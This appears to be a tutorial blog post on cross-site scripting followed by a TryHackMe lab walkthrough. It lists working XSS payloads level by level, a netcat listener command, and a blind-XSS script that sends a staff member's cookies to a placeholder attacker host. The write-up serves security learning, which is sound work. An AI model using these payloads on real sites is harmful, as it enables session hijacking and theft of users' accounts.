Cross-Site Scripting (XSS) is a vulnerability that compromises the interaction a user has with a vulnerable web application. It allows an attacker to execute arbitrary JavaScript in the victim's browser, effectively masquerading as that user and performing any action the victim is allowed to do. In practice, XSS works by manipulating a website so that it returns malicious JavaScript to the user. This script is then executed directly in the victim's browser, within the security context of the vulnerable application. To verify whether an application is vulnerable to XSS, attackers often inject payloads into their own browser first. A common proof of concept is triggering a simple JavaScript function such as alert(), which confirms that injected code is being executed.
Types of XSS
There are three main types of XSS, each differing in how and where the malicious payload is injected and executed.
1. Reflected XSS
Reflected XSS occurs when user input is immediately reflected back in the HTTP response without proper sanitization. The payload is not stored on the server; it is typically delivered via a crafted URL or form submission. Once the victim clicks the link or submits the input, the malicious script is executed.
2. Stored XSS
Stored XSS is more severe because the malicious payload is persistently stored on the server, for example in a database, comment section, or user profile. Every user who later views the affected page will automatically execute the attacker's script in their browser. This makes stored XSS particularly dangerous, as it does not require direct interaction with a malicious link.
3. DOM-based XSS
DOM-based XSS happens entirely on the client side, when JavaScript modifies the DOM using unsanitized user input. The payload never reaches the server; instead, the browser's JavaScript logic itself introduces the vulnerability. This type of XSS can be harder to detect because it does not appear in the server's response.
THM XSS Challenge — Core principles Task 6
In the TryHackMe XSS room, multiple levels illustrate different XSS principles and bypass techniques.
# Level 1 – Basic Reflected XSS
# Demonstrates direct JavaScript execution due to unsanitized user input
<script>alert('THM')</script>
# Level 2 – Escaping HTML Attributes
# Payload escapes the value attribute of an input tag to execute JavaScript
"><script>alert('THM')</script>
# Level 3 – Escaping HTML Tags (textarea context)
# Payload closes the textarea tag to allow script execution
</textarea><script>alert('THM')</script>
# Level 4 – Escaping JavaScript Context
# Payload breaks out of an existing JavaScript string and comments out the rest
';alert('THM');//
# Level 5 – Filter Bypass (keyword-based filtering)
# Payload abuses string replacement to bypass 'script' keyword filtering
<sscriptcript>alert('THM')</sscriptcript>
# Level 6 – Event Handler Injection (IMG tag)
# Payload bypasses < and > filtering by abusing the onload event
/images/cat.jpg" onload="alert('THM')The key idea is always the same: when direct script injection is blocked, we must identify the context and find a way to break out of it to inject our payload.
Unlike reflected XSS, Blind XSS does not execute immediately in the attacker's browser. The payload is stored and later executed when another user views the malicious content. This makes Blind XSS particularly dangerous, as it often targets privileged users.
In this challenge, the vulnerable feature is the Support Ticket system, which is likely to be viewed by IT staff.
By inspecting the page source of a created ticket, we observe that the user-controlled content is reflected inside a <textarea> tag, indicating a potential stored XSS vector
# Step 1 – Context Discovery
# User input is reflected inside a <textarea> tag
test
# Step 2 – Escaping the textarea tag
# Confirms we can break out of the HTML context
</textarea>test
# Step 3 – Stored XSS confirmation
# JavaScript execution proves XSS vulnerability
</textarea><script>alert('THM');</script>At this stage, we have confirmed a Stored XSS vulnerability. However, since this is a support ticket, the real impact occurs when a staff member views the ticket, enabling a Blind XSS scenario. Since staff members are likely authenticated with higher privileges, stealing their session cookies can lead to session hijacking and privilege escalation. For that we'll set up a Listener : nc -nlvp 9001
</textarea><script>
fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie));
</script>Payload Breakdown:
- </textarea> → escapes the textarea context
- <script> → opens JavaScript execution context
- fetch() → sends an HTTP request to attacker-controlled server
- document.cookie → extracts victim's cookies
- btoa() → Base64-encodes the cookies for safe transmission
Once a staff member views the ticket, their browser executes the payload and sends their cookies to the attacker's listener.
That's how we are able to get the cookie in base64, and by using Cyberchef, we can decode it and get the last flag !